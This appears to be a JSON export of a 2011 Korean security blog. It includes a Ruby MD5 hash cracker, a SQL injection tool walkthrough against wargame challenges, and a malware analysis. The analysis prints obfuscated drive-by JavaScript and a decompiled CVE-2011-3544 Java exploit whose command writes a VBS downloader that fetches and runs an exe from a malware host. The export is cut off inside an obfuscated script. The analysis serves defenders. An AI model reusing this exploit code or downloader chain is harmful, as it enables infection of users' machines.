unique hashes\u0026#34; load_cache end def crack @hashes.each do |hash| if plaintext = @cache[hash] puts \u0026#34;#{hash}:#{plaintext}\u0026#34; next end if plaintext = crack_single_hash(hash) puts \u0026#34;#{hash}:#{plaintext}\u0026#34; append_to_cache(hash, plaintext) end sleep 1 end end private def crack_single_hash(hash) response = Net::HTTP.get URI(\u0026#34;http://www.google.com/search?q=#{hash}\u0026#34;) wordlist = response.split(/\\s+/) if plaintext = dictionary_attack(hash, wordlist) return plaintext end nil end def dictionary_attack(hash, wordlist) wordlist.each do |word| if Digest::MD5.hexdigest(word) == hash.downcase return word end end nil end def load_cache(filename = \u0026#34;cache\u0026#34;) if File.file? filename File.new(filename).each_line do |line| if m = line.chomp.match(/^([a-fA-F0-9]{32}):(.*)$/) @cache[m[1]] = m[2] end end end end def append_to_cache(hash, plaintext, filename = \u0026#34;cache\u0026#34;) File.open(filename, \u0026#34;a\u0026#34;) do |file| file.write \u0026#34;#{hash}:#{plaintext}\\n\u0026#34; end end end if ARGV.size == 1 BozoCrack.new(ARGV[0]).crack else puts \u0026#34;Usage example: ruby bozocrack.rb file_with_md5_hashes.txt\u0026#34; end ","date":"2012-02-27T05:32:25Z","permalink":"/2012/02/27/bozocrack-md5-crack/","title":"BozoCrack - MD5 Crack"},{"content":"EPEL은 Extra Packages for Enterprise Linux 의 약자다. CentOS 에서 yum을 통해 좀 더 많은 패키지를 설치하고자 한다면 repo 리스트에 추가하면 된다. EPEL과 관련된 자세한 내용은 아래 주소에서 참고하면 된다. http://fedoraproject.org/wiki/EPEL\n먼저 현재 설치된 repo 리스트를 확인해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 [root@localhost byjjoon]# yum repolist Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: centos.tt.co.kr * extras: centos.tt.co.kr * updates: centos.tt.co.kr repo id repo name status base CentOS-6 - Base 4,686 extras CentOS-6 - Extras 3 updates CentOS-6 - Updates 934 repolist: 5,623 이제 EPEL을 설치하도록 하자. 아래와 같이 설치할 수 있으며 설치할 rpm 파일은 http://fedoraproject.org/wiki/EPEL 페이지에서 최신 링크를 확인해 설치하도록 하자. 이 글을 작성하는 현재는 최신이 6.5 버전이다.\n1 2 3 4 5 [root@localhost byjjoon]# rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-5.noarch.rpm Retrieving http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-5.noarch.rpm warning: /var/tmp/rpm-tmp.W54ycu: Header V3 RSA/SHA256 Signature, key ID 0608b895: NOKEY Preparing... ########################################### [100%] 1:epel-release ########################################### [100%] 설치를 하였으면 이제 다시 repo 리스트를 확인하면 EPEL이 추가되었음을 알 수 있다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [root@localhost byjjoon]# yum repolist Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile epel/metalink | 5.7 kB 00:00 * base: centos.tt.co.kr * epel: mirror01.idc.hinet.net * extras: centos.tt.co.kr * updates: centos.tt.co.kr epel | 4.3 kB 00:00 epel/primary_db | 3.6 MB 00:04 repo id repo name status base CentOS-6 - Base 4,686 epel Extra Packages for Enterprise Linux 6 - i386 5,508 extras CentOS-6 - Extras 3 updates CentOS-6 - Updates 934 repolist: 11,131 ","date":"2011-12-16T17:43:15Z","permalink":"/2011/12/16/centos%EC%97%90%EC%84%9C-epel-%EC%B6%94%EA%B0%80%ED%95%98%EA%B8%B0/","title":"CentOS에서 EPEL 추가하기"},{"content":"CentOS 설치 후 'setup' 명령어를 통해 설정을 하고자 하는 경우 아래 패키지를 설치하면 된다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [root@localhost byjjoon]# yum provides /usr/bin/setup Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: data.nicehosting.co.kr * extras: data.nicehosting.co.kr * updates: data.nicehosting.co.kr setuptool-1.19.9-3.el6.i686 : A text mode system configuration tool Repo : base Matched from: Filename : /usr/bin/setup setuptool-1.19.9-3.el6.i686 : A text mode system configuration tool Repo : installed Matched from: Other : Provides-match: /usr/bin/setup [root@localhost byjjoon]# 먼저 setuptools 패키지를 설치한다. 그리고 아래 패키지들을 설치하면 된다.\nsystem-config-securitylevel-tui: for configuring the firewall authconfig: for configuring authentication system-config-network-tui: for configuring the network ntsysv: for configuring the system services\n","date":"2011-12-15T06:22:47Z","permalink":"/2011/12/15/centos-%EC%84%A4%EC%B9%98-%ED%9B%84-setup-%EB%AA%85%EB%A0%B9%EC%96%B4%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%B4-%EC%84%A4%EC%A0%95%ED%95%98%EA%B8%B0/","title":"CentOS 설치 후 'setup' 명령어를 이용해 설정하기"},{"content":"SQL Injection 관련 툴이 있어 간단한 사용기를 작성합니다.\nThe Mole (Digging up your data) : http://themole.nasel.com.ar/\n문제는 WeChall의 Table 이름을 찾는 문제를 대상으로 해당 툴을 이용해 풀이를 해보도록 하겠습니다. 실행 후 Tab 키를 누르면 여러 옵션을 설정할 수 있음을 알 수 있습니다. 옵션이 다양해서 아주 범용적으로 사용할 수 있을거 같네요.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 C:\\Users\\ByJJoon\\Downloads\\themole-0.2.6\u0026gt;mole.exe _____ _ ___ ___ _ |_ _| | | \\/ | | | | | | |__ ___ | . . | ___ | | ___ | | | \u0026#39;_ \\ / _ \\ | |\\/| |/ _ \\| |/ _ \\ | | | | | | __/ | | | | (_) | | __/ \\_/ |_| |_|\\___| \\_| |_/\\___/|_|\\___| Developed by Nasel(http://www.nasel.com.ar). Published under GPLv3. Be efficient and have fun! #\u0026gt; url http://www.wechall.net/challenge/table_names/challenge.php?username=test\u0026amp;password=test\u0026amp;login=login #\u0026gt; needle Welcome #\u0026gt; injectable_field GET username #\u0026gt; schemas [i] Trying injection using 0 parenthesis. [i] Trying separator: \u0026#34;\u0026#39;\u0026#34; [+] Found separator: \u0026#34;\u0026#39;\u0026#34; [i] Trying DBMS Mysql [+] Found DBMS: Mysql [i] Trying injection using 0 parenthesis. [i] Trying injection using comment: # [+] Found comment delimiter: \u0026#34;#\u0026#34; [+] Query columns count: 3 [+] Trying finger 1/2 [+] Injectable fields found: [1, 3] [i] Trying to inject in field 1 [+] Found injectable field: 1 [+] Using string union technique. [+] Rows: 2 [*] Dumped 2/2 rows. +--------------------+ | Databases | +--------------------+ | gizmore_tableu61 | | information_schema | +--------------------+ #\u0026gt; tables gizmore_tableu61 [+] Rows: 2 [*] Dumped 2/2 rows. +--------------+ | Tables | +--------------+ | aaawrong | | usertableus4 | +--------------+ #\u0026gt; columns gizmore_tableu61 aaawrong [+] Rows: 2 [*] Dumped 2/2 rows. +----------------------------+ | Columns for table aaawrong | +----------------------------+ | test | | username | +----------------------------+ #\u0026gt; query gizmore_tableu61 aaawrong test,username +-----------------+ | test | username | +-----------------+ +-----------------+ #\u0026gt; columns gizmore_tableu61 usertableus4 [+] Rows: 3 [*] Dumped 3/3 rows. +--------------------------------+ | Columns for table usertableus4 | +--------------------------------+ | message | | password | | username | +--------------------------------+ #\u0026gt; query gizmore_tableu61 usertableus4 message,password,username [+] Rows: 5 [*] Dumped 5/5 rows. +------------------------------------------------------------------------------------------+ | message | password | username | +------------------------------------------------------------------------------------------+ | Hello Peter\u0026gt;\u0026lt;thismypass\u0026gt;\u0026lt;Aaron A. Aaronson | | Let`s have a bbq!\u0026gt;\u0026lt;tamethepenguin\u0026gt;\u0026lt;quangntenemy | | This is a demo account, nothing here.\u0026gt;\u0026lt;test\u0026gt;\u0026lt;test | | WTF\u0026gt;\u0026lt;tables\u0026gt;\u0026lt;nancy | | Welcome Back\u0026gt;\u0026lt;themoreyouknowthemoreyoucanforget\u0026gt;\u0026lt;Admin | +------------------------------------------------------------------------------------------+ #\u0026gt; 내친김에 wargame.kr 의 문제도 풀어보겠습니다. 여기 문제는 POST로 인자를 전송해야 합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 C:\\Users\\ByJJoon\\Downloads\\themole-0.2.6\u0026gt;mole.exe _____ _ ___ ___ _ |_ _| | | \\/ | | | | | | |__ ___ | . . | ___ | | ___ | | | \u0026#39;_ \\ / _ \\ | |\\/| |/ _ \\| |/ _ \\ | | | | | | __/ | | | | (_) | | __/ \\_/ |_| |_|\\___| \\_| |_/\\___/|_|\\___| Developed by Nasel(http://www.nasel.com.ar). Published under GPLv3. Be efficient and have fun! #\u0026gt; url http://wargame.kr:8084/prob/9/chk.php #\u0026gt; method POST idx=1532 #\u0026gt; needle 2011-12-12 18:24:17 #\u0026gt; injectable_field POST idx #\u0026gt; schemas [i] Trying injection using 0 parenthesis. [i] Trying separator: \u0026#34;\u0026#39;\u0026#34; [i] Trying separator: \u0026#34;\u0026#34;\u0026#34; [i] Trying separator: \u0026#34; \u0026#34; [+] Found separator: \u0026#34; \u0026#34; [i] Trying DBMS Mysql [+] Found DBMS: Mysql [i] Trying injection using 0 parenthesis. [i] Trying injection using comment: # [+] Found comment delimiter: \u0026#34;#\u0026#34; [+] Query columns count: 1 [+] Trying finger 1/2 [+] Trying finger 2/2 [-] Could not find injectable field. [+] Using blind mode. [+] Found row count: 2 [+] Guessed length: 18 information_schema [+] Guessed length: 11 p9_blueh4g3 +--------------------+ | Databases | +--------------------+ | information_schema | | p9_blueh4g3 | +--------------------+ #\u0026gt; tables p9_blueh4g3 [+] Found row count: 2 [+] Guessed length: 11 admin_table [+] Guessed length: 8 ip_table +-------------+ | Tables | +-------------+ | admin_table | | ip_table | +-------------+ #\u0026gt; columns p9_blueh4g3 admin_table [+] Found row count: 3 [+] Guessed length: 3 idx [+] Guessed length: 2 id [+] Guessed length: 2 ps +-------------------------------+ | Columns for table admin_table | +-------------------------------+ | id | | idx | | ps | +-------------------------------+ #\u0026gt; query p9_blueh4g3 admin_table id,idx,ps [+] Found row count: 1 [+] Guessed length: 25 blue_admin\u0026gt;\u0026lt;1\u0026gt;\u0026lt;0h~myp4ss! +-------------------------------+ | id | idx | ps | +-------------------------------+ | blue_admin | 1 | 0h~myp4ss! | +-------------------------------+ #\u0026gt; 아주 ㄷㄷㄷ한 툴이네요.\n","date":"2011-12-12T09:18:47Z","permalink":"/2011/12/12/the-mole/","title":"The Mole"},{"content":"최근 국내에서 전파되는 온라인게임핵 악성코드와 관련하여 추가된 취약점이 있어 공유합니다.\n1 2 http://www.yo****ow.com/63/pps.html L http://www.yo****ow.com/63/jpg.js 이번주부터 추가되어 전파되는 것으로 보이며, CVE-2011-3544 (Oracle Java Applet Rhino Script Engine Remote Code Execution) 취약점으로 Oracle Java SE JDK and JRE 7 and 6 Update 27 이전 버전이면 감염이 됩니다.\nhttp://www.yo****ow.com/63/pps.html 코드를 살펴보면 이전과는 다른점을 확인할 수 있습니다.\n1 2 3 4 \u0026lt;script src=jpg.js\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; eHQu5=unescape;IAoO3=\u0026#34;033F1B1E20323C544D12ECDCE69B80BAAFA8467F047B2C3BC8DB9BEED4120F6EB092F1D82C135AFFD3AE2D5E09FAA7924E25B2A797614C1CCF8A514FFDAE4400D681681DD3917231DCDA363FC59C624C952F6AB17203A05417B16D2B924210BB6D58B86106B9791BAB4EF89168528E42F072E8996DA33C72F262EE63AE75FE79FC41C7558F68F651C667EA6FD362C229FF55B761926FB205EF29BF2F9111B148BF7AD34EB064FE7DD770DE489344AD03BB5F8D63DD70B30BAC6DB34DBF6FAE05C17CCD6B804DF676F633F832C11DF809BD70C14A67B0419C70963BDE0122C323C53BF81D872D07837D7ED7467B66934478343027985F4E5E474F45591E6175687568406A64714C4A6268052A41726741775E36022F3D1160497A674472264C5375646A5B431D39507B7C7570763A7D6B4704160E06714E436C77412D7749637E0D366C7E44764C73454F63497D686A5964264C497D677E25393D274C45444F4C542C706470684D122A25031401164A624E6676493C42744273586F3A0425211E1B02494E75796E48485435757B76683F7364677E4E426E6B657A45056F794B6775422E203D1E5D7058324A786C446C496D314B4E777D42407260236470554C5F4F6F47485D6769793C3B554E7A754C0825272007476D7949734E60057A5176621B36674462690F1A1B06644248447A73653C67707E617226024E59777C2C0E027F61522D6D497263597A44660471427A2D50644E326957443633222F7B7B63636354034A5A5A4E4354416F6478780D48677A454E686D04362D086A161F20754E78556F62065B6D577D3A16457360665943004B5B7779644563202C7F454A4877693653555F476D4F7B163C7F55784E654F327A656D6C4B1C27684A4D717C4A056E7D4C50310B494E464F5F48104D607540546D1F337044436968482D746167457061781A2F547E6B4360660578626256203767484A456F72347D494641252C7F454A487769364B7C507F113870436B7E44710B66427F417450473F1678694344606D0F75747165605605164F4F464E5955224E4C7B5316146C714D4A78790D65494F6F1A294E744771447E2772446A73703F1645736066594300727D65587A6B242F737E4C4359662C73697C7D231E67714A626F553451426C704363301B694870695B44345C6955747D6E4A360B494E464F5F481073494B674414146C714D4A78790D7C534456492611754E78556F6206667B5159461D1A72696F4852453B5F7854404063232C7F454A4877693666545A45576977153C585F78477449666A7670426C4A7924061A\u0026#34;;Onrk2=\u0026#34;function PLckuTq4(){GyRSrjc3=Math.tan;rxWQHLo0=Math.PI;WroLF1=parseInt;riAW3=\u0026#39;length\u0026#39;;rxtON0=\u0026#39;test\u0026#39;;TFphicM4=\u0026#39;replace\u0026#39;;OgxTHH0=WroLF1(~((rxWQHLo0\u0026amp;rxWQHLo0)|(~rxWQHLo0\u0026amp;rxWQHLo0)\u0026amp;(rxWQHLo0\u0026amp;~rxWQHLo0)|(~rxWQHLo0\u0026amp;~rxWQHLo0)));TcphbKi1=WroLF1(((OgxTHH0\u0026amp;OgxTHH0)|(~OgxTHH0\u0026amp;OgxTHH0)\u0026amp;(OgxTHH0\u0026amp;~OgxTHH0)|(~OgxTHH0\u0026amp;~OgxTHH0))\u0026amp;1);/*Encrypt By Dadong\u0026#39;s JSXX 0.40 VIP*/njOw6=TcphbKi1\u0026lt;\u0026lt;TcphbKi1;new function(){hiMx7=TPiVf7(\u0026#39;a1Qe4dG*]6zY^k8b]#\u0026amp;,m8$[x_GD3]Nvj5dsn7[F[8ecu[S34Rlc]4r;iadpDt=\u0026#39;[TFphicM4](/[^xS@0ietrc9p]/g,\u0026#39;\u0026#39;));};try{if(!\\/^\\\\d*$\\/g[rxtON0](oXWS1));}catch(e){oXWS1=OgxTHH0;}jQXi4=\u0026#39;\u0026#39;;whmlcRg2=eval(eHQu5(\u0026#39;%5\u0026#39;+\u0026#39;3%74%\u0026#39;+\u0026#39;72%69%6\u0026#39;+\u0026#39;E%67%2E%\u0026#39;+\u0026#39;66%72%\u0026#39;+\u0026#39;6F%6D%4\u0026#39;+\u0026#39;3%68%61\u0026#39;+\u0026#39;%72%4\u0026#39;+\u0026#39;3%6F%64\u0026#39;+\u0026#39;%65\u0026#39;));for(PhehgT5=OgxTHH0;PhehgT5\u0026lt;Onrk2[riAW3];PhehgT5-=-TcphbKi1)oXWS1+=Onrk2.charCodeAt(PhehgT5);oXWS1%=eHQu5(OgxTHH0+eHQu5(\u0026#39;x\u0026#39;)+(1\u0026lt;\u0026lt;6)-TcphbKi1);HlFQQq7+=TcphbKi1;for(PhehgT5=OgxTHH0,zSFbnt2=TcphbKi1;PhehgT5\u0026lt;IAoO3[riAW3];PhehgT5+=njOw6,zSFbnt2++,oXWS1=oXWS1+zSFbnt2){if(\\/^(\\\\d{4})\\/g[rxtON0](oXWS1+744))oXWS1%=50;jQXi4+=whmlcRg2(WroLF1(OgxTHH0+eHQu5(\u0026#39;x\u0026#39;)+IAoO3.charAt(PhehgT5)+IAoO3.charAt(PhehgT5+WroLF1(TcphbKi1)))^oXWS1);}try{new function(){hiMx7(jQXi4);}}catch(e){try{new function(){qNFsX1=parseInt;GyRSrjc3(jQXi4);}}catch(e) {window.location=\u0026#39;.\u0026#39;;}}}try{TPiVf7(\u0026#39;PLckuTq4();\u0026#39;)}catch(e) {try{HlFQQq7=OgxTHH0;TPiVf7(\u0026#39;PLckuTq4();\u0026#39;);}catch(e){alert(\u0026#39;ere\u0026#39;);}}\u0026#34;;ijqJkz6 = TPiVf7(TPiVf7);ijqJkz6(Onrk2); \u0026lt;/script\u0026gt; 기존에 악성코드 유포자는 난독화를 한 후 아래와 같은 주석을 남겼습니다.\n1 Encrypt By Dadong\u0026#39;s JSXX 버전명 VIP 가장 최근에 확인된 버전은 0.39 였으나 이번에 0.40으로 업데이트 된것을 확인하였습니다. 업데이트가 되긴 했으나 쉽게 디코딩이 가능하며 해당 코드를 디코딩 하면 아래와 같은 코드를 확인할 수 있습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 GyRSrjc3 = hiMx7; qsFAd4 = qNFsX1(20100418); var gondady = document.createElement(\u0026#39;body\u0026#39;); document.body.appendChild(gondady); var gondadx = deployJava.getJREs() + \u0026#34;\u0026#34;; gondadx = parseInt(gondadx.replace(/\\.|\\_/g, \u0026#39;\u0026#39;)); if (gondadx \u0026lt;= 16027) { var gondad = document.createElement(\u0026#39;applet\u0026#39;); gondad.archive = \u0026#34;Gondad.jpg\u0026#34;; gondad.code = \u0026#34;GondadGondadExp.class\u0026#34;; gondad.width = \u0026#34;1\u0026#34;; gondad.height = \u0026#34;1\u0026#34;; document.body.appendChild(gondad); var gondadq = document.createElement(\u0026#39;param\u0026#39;); gondadq.name = \u0026#34;data\u0026#34;; gondadq.value = \u0026#34;http://www.yo****ow.com/pic.exe\u0026#34;; gondad.appendChild(gondadq); }; delete Onrk2; delete PLckuTq4; delete rxWQHLo0; delete WroLF1; delete riAW3; delete OgxTHH0; delete TcphbKi1; delete njOw6; delete oXWS1; delete jQXi4; delete whmlcRg2; delete PhehgT5; delete IAoO3; delete hiMx7; delete TPiVf7; delete ijqJkz6; delete eHQu5; delete zSFbnt2; delete TFphicM4; delete qNFsX1; delete qsFAd4; delete rxtON0; delete HlFQQq7; delete GyRSrjc3; CollectGarbage(); 여기서 Gondad.jpg 파일을 다운로드 받아 보면 jar 파일임을 알 수 있으며 JD-GUI 툴을 이용해 디컴파일 하여 코드 내부를 확인하면 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import java.applet.Applet; import java.net.InetAddress; import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import javax.script.ScriptException; import javax.swing.JList; public class GondadGondadExp extends Applet { private JList list; public void init() { try { ScriptEngine se = new ScriptEngineManager().getEngineByName(\u0026#34;js\u0026#34;); InetAddress address = null; InetAddress sun = null; String url = getParameter(\u0026#34;data\u0026#34;); se.eval(\u0026#34;var error = new Error(\\\u0026#34;My error\\\u0026#34;);this.toString = function(){ java.lang.System.setSecurityManager(null);java.lang.Runtime.getRuntime().exec(\u0026#39;cmd.exe /c echo URL = LCase(WScript.Arguments(0))\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo dim m,s\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo m=\\\u0026#34;M^i^c^r^o^s^o^f^t^.^X^M^L^H^T^T^P\\\u0026#34;\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo s=\\\u0026#34;A=D=O=DB=.=S=t=r=e=a=m\\\u0026#34;\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo set cmd =Createobject(replace(m,\\\u0026#34;^\\\u0026#34;,\\\u0026#34;\\\u0026#34;)) \u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo cmd.Open \\\u0026#34;GET\\\u0026#34;,URL,0 \u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo cmd.Send()\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo FileName=LCase(WScript.Arguments(1))\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\\\u0026#34;=\\\u0026#34;,\\\u0026#34;\\\u0026#34;))\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo CsCriptGet.Mode=^3\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo CsCriptGet.Type=^1\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo CsCriptGet.Open()\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2\u0026gt;\u0026gt;\\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34;\u0026amp;\u0026amp;cmd.exe /c cscript \\\u0026#34;%temp%\\\\\\\\down.vbs\\\u0026#34; \u0026#34; + url + \u0026#34; \\\u0026#34;%temp%\\\\\\\\xxoo.exe\\\u0026#34;\u0026amp;\u0026amp; \\\u0026#34;%temp%\\\\\\\\xxoo.exe\\\u0026#34;\u0026#39;);\u0026#34; + \u0026#34;return \\\u0026#34;exploit!\\\u0026#34;;};\u0026#34; + \u0026#34;error.message = this;\u0026#34;); this.list = new JList(new Object[] { se.get(\u0026#34;error\u0026#34;) }); add(this.list); } catch (ScriptException ex) { ex.printStackTrace(); } } } 취약점과 관련된 자세한 내용은 아래 페이지를 참고하시면 될거 같습니다. http://schierlm.users.sourceforge.net/CVE-2011-3544.html\n새로운 취약점이 추가된 만큼 이번주에 왠지 많은 감염자가 나올것으로 보이네요. 뭐 평소에도 늘 그랬지만......\n","date":"2011-12-09T08:17:55Z","permalink":"/2011/12/09/%EC%83%88%EB%A1%AD%EA%B2%8C-%EC%B6%94%EA%B0%80%EB%90%9C-%EC%98%A8%EB%9D%BC%EC%9D%B8%EA%B2%8C%EC%9E%84%ED%95%B5-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EC%A0%84%ED%8C%8C%EC%9A%A9-%EC%B7%A8%EC%95%BD/","title":"새롭게 추가된 온라인게임핵 악성코드 전파용 취약점 (CVE-2011-3544)"},{"content":"최근 악성코드 중 아래와 같은 페이지에 접속하여 특정 명령을 받아 실행하는 악성코드를 확인하였습니다.\nhxxp://211.255.23.46/counter/update.txt\n위 주소에 접속하면 아래와 같이 숫자만 나타나게 됩니다.\n1 049058104116116112058047047049050049046050053052046049054053046049048053047105099111110115047107114046101120101 관련 악성코드를 분석해본 결과 예전에는 단순히 주소 혹은 XOR로 암호화 하였으나 이번엔 좀 새로운 패턴으로 한것을 확인하였습니다.\n복호화는 아래 페이지에서 가능하도록 기능을 추가 하였습니다. http://119.194.217.188:8080/Honeypot/\n'new' 텍스트 박에서 해당 값을 입력하면 아래와 같은 디코딩된 결과가 나타납니다.\n1 1:http://121.254.165.105/icons/kr.exe 끝으로 도움을 준 forc1 형에게 감사를 :-)\n","date":"2011-10-28T12:34:08Z","permalink":"/2011/10/28/%EC%83%88%EB%A1%9C%EC%9A%B4-url-%EC%95%94%ED%98%B8%ED%99%94-%EB%B0%A9%EB%B2%95/","title":"새로운 URL 암호화 방법"},{"content":"\n트위터에서 POC 이벤트 행사로 진행되는 Hack The Packet 예선전이 진행된다는 소식을 접했습니다. 회사에서 일찍 퇴근을 할까 하다가 이거나 좀 해보고 퇴근해야 겠다는 생각에 시작을 했습니다.\nhttp://www.hackthepacket.com\n문제 유형은 pcap 파일을 하나 주어주고 여러 문항의 문제를 풀이하는 형태였는데 생각보다 문제가 잘풀려서 1위를 하게 되었네요.\n1위 상품은 POC 티켓!!! 이번 대회로 인해 POC를 가게될거 같습니다 :-) 이번 예선때 못푼 문항도 몇개 되는데 시간날때 짬짬히 풀어봐야 겠습니다.\n본선은 오프라인에서 진행 되었고 우승을 했네요. 결과는 아래와 같습니다.\n","date":"2011-10-18T23:57:40Z","permalink":"/2011/10/18/hack-the-packet-pre-qual/","title":"Hack The Packet"},{"content":"https://dl.packetstormsecurity.net/papers/attack/beyond-sqli.txt\n","date":"2011-10-07T06:12:25Z","permalink":"/2011/10/07/bypass/","title":"Beyond SQLi: Obfuscate and Bypass"},{"content":"9월 20일 ~ 21일 양일에 거쳐 ISEC CTF 본선대회가 있었습니다. 저는 -cesi- 팀으로 참가를 했었는대요.\n작년 본선에서 그리 좋지 못한 성적을 거둬서 이번에는 준비를 좀 하고 나갔었는데 아쉽게 준우승에 그쳤습니다. 대회 중간에 1등을 잠깐 하기도 했었는데 GoN팀이 다시 재역전을 하는 바람에 우승을 놓치게 되었네요.\n다음번에는 꼭! 우승을 노려봐야 겠습니다.\n","date":"2011-09-21T23:06:33Z","permalink":"/2011/09/21/2011-isec-ctf-%EC%A4%80%EC%9A%B0%EC%8A%B9/","title":"2011 ISEC CTF 준우승"},{"content":"최근 난독화 코드 중 새롭게 작성된 코드를 확인하여 공유 합니다. 우선 코드는 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 \u0026lt;script\u0026gt; var a1 = \u0026#34;ABCDEFG\u0026#34;; var a2 = \u0026#34;HIJKLMNOP\u0026#34;; var a3 = \u0026#34;QRSTUVWXYZabcdef\u0026#34;; var keyStrs = a1+a2+a3+\u0026#34;ghijklmnopqrstuv\u0026#34;+\u0026#34;wxyz0123456789+/\u0026#34;+\u0026#34;=\u0026#34;; function mydata(input){ var output=\u0026#34;\u0026#34;; var chr1,chr2,chr3=\u0026#34;\u0026#34;; var enc1,enc2,enc3,enc4=\u0026#34;\u0026#34;; var i=0; var base64test=/[^A-Za-z0-9\\+\\/\\=]/g; input=input.replace(/[^A-Za-z0-9\\+\\/\\=]/g,\u0026#34;\u0026#34;); do{ enc1=keyStrs.indexOf(input.charAt(i++)); enc2=keyStrs.indexOf(input.charAt(i++)); enc3=keyStrs.indexOf(input.charAt(i++)); enc4=keyStrs.indexOf(input.charAt(i++)); chr1=(enc1\u0026lt;\u0026lt;2)|(enc2\u0026gt;\u0026gt;4); chr2=((enc2\u0026amp;15)\u0026lt;\u0026lt;4)|(enc3\u0026gt;\u0026gt;2); chr3=((enc3\u0026amp;3)\u0026lt;\u0026lt;6)|enc4; output=output+String.fromCharCode(chr1); if(enc3!=64){output=output+String.fromCharCode(chr2);}; if(enc4!=64){output=output+String.fromCharCode(chr3);}; chr1=chr2=chr3=\u0026#34;\u0026#34;; enc1=enc2=enc3=enc4=\u0026#34;\u0026#34;; }; while(i\u0026lt;input.length);return output; }; UU=\u0026#34;2000 / 25 ,3905 / 55 ,60 - 3 ,106 - 1 ,189 - 92 ,206 - 97 ,31 + 55 ,19 + 87 ,1700 / 17 ,2211 / 33 ,117 - 51 ,114 - 8 ,44 + 54 ,39 + 32 ,52 + 18 ,173 - 51 ,96 + 3 ,85 - 35 ,137 - 29 ,4494 / 42 ,138 - 58 ,154 - 71 ,16 + 58 ,2438 / 23 ,6076 / 62 ,1368 / 19 ,14 + 64 ,224 - 112 ,28 + 62 ,6 + 62 ,9072 / 81 ,158 - 51 ,3003 / 39 ,193 - 87 ,8500 / 85 ,209 - 103 ,48 + 42 ,4686 / 66 ,109 - 36 ,59 - 9 ,165 - 75 ,41 + 42 ,11 + 38 ,0 + 104 ,6 + 84 ,2688 / 32 ,71 + 19 ,4601 / 43 ,76 / 1 ,124 - 40 ,2001 / 29 ,70 + 50 ,2047 / 23 ,56 - 6 ,3738 / 42 ,215 - 99 ,137 - 58 ,5 + 79 ,13 + 77 ,10290 / 98 ,5135 / 65 ,96 - 29 ,56 - 8 ,1728 / 36 ,80 - 2 ,69 - 1 ,29 + 52 ,33 + 16 ,4602 / 59 ,31 + 53 ,133 - 56 ,23 + 26 ,13 + 65 ,4 + 64 ,1625 / 25 ,6545 / 55 ,91 - 14 ,1020 / 15 ,110 - 45 ,5355 / 51 ,876 / 12 ,55 + 10 ,2112 / 44 ,24 + 51 ,10 + 90 ,94 - 44 ,24 + 84 ,99 + 8 ,17 + 83 ,92 - 21 ,193 - 90 ,1254 / 22 ,119 - 46 ,66 + 40 ,114 - 41 ,476 / 4 ,2002 / 26 ,101 - 34 ,121 - 48 ,194 - 91 ,50 + 47 ,852 / 12 ,97 - 11 ,209 - 97 ,1980 / 22 ,58 - 8 ,198 - 94 ,40 